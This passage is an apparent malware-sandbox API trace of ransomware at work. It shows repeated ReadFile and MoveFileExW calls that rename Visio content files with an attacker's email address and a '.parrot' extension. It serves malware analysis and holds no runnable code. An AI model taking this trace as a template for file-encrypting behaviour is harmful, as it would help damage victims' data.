lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.408] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.408] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x21c00, lpOverlapped=0x0) returned 1 [0213.413] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0213.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0213.422] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.422] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.423] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.424] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7800, lpOverlapped=0x0) returned 1 [0213.427] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0213.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0213.434] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.434] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.435] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.435] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x21c00, lpOverlapped=0x0) returned 1 [0213.468] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.471] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BORDRS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bordrs_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BORDRS_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bordrs_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0213.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0213.479] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.479] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.480] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.481] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x21a00, lpOverlapped=0x0) returned 1 [0213.488] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BORDRS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bordrs_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BORDRS_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bordrs_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0213.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0213.528] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.528] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.530] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.530] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8ec00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8ec00, lpOverlapped=0x0) returned 1 [0213.551] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNA_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmna_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNA_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmna_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0213.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0213.589] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.589] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.591] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.591] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8da00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8da00, lpOverlapped=0x0) returned 1 [0213.655] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNA_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmna_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNA_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmna_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0213.681] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.681] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.682] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.682] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe800, lpOverlapped=0x0) returned 1 [0213.689] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmnc_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmnc_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.696] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.696] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.698] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.698] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe600, lpOverlapped=0x0) returned 1 [0213.700] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmnc_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmnc_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.706] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.706] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.746] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.747] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2a00, lpOverlapped=0x0) returned 1 [0213.765] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNE_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmne_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNE_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmne_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.919] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.919] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.921] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.921] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb0600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb0600, lpOverlapped=0x0) returned 1 [0213.948] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNE_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmne_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNE_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmne_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.210] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.210] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.223] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.223] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a800, lpOverlapped=0x0) returned 1 [0214.231] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNG_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmng_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNG_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmng_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.244] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.244] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.246] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.246] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a200, lpOverlapped=0x0) returned 1 [0214.249] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNG_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmng_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMNG_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmng_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.262] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.262] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.263] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.263] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4d200, lpOverlapped=0x0) returned 1 [0214.272] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.282] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmn_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmn_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.291] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.291] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.301] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.301] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x19400, lpOverlapped=0x0) returned 1 [0214.309] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmn_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMN_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmn_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.323] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.323] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.324] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.324] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4c600, lpOverlapped=0x0) returned 1 [0214.334] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmn_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmn_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.351] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.351] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.386] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.387] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x19400, lpOverlapped=0x0) returned 1 [0214.394] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.399] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMN_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmn_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPMN_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpmn_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.409] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.409] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.410] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.410] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x19c00, lpOverlapped=0x0) returned 1 [0214.413] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.417] MoveFileExW (lpExistingFileName="C:\\Program 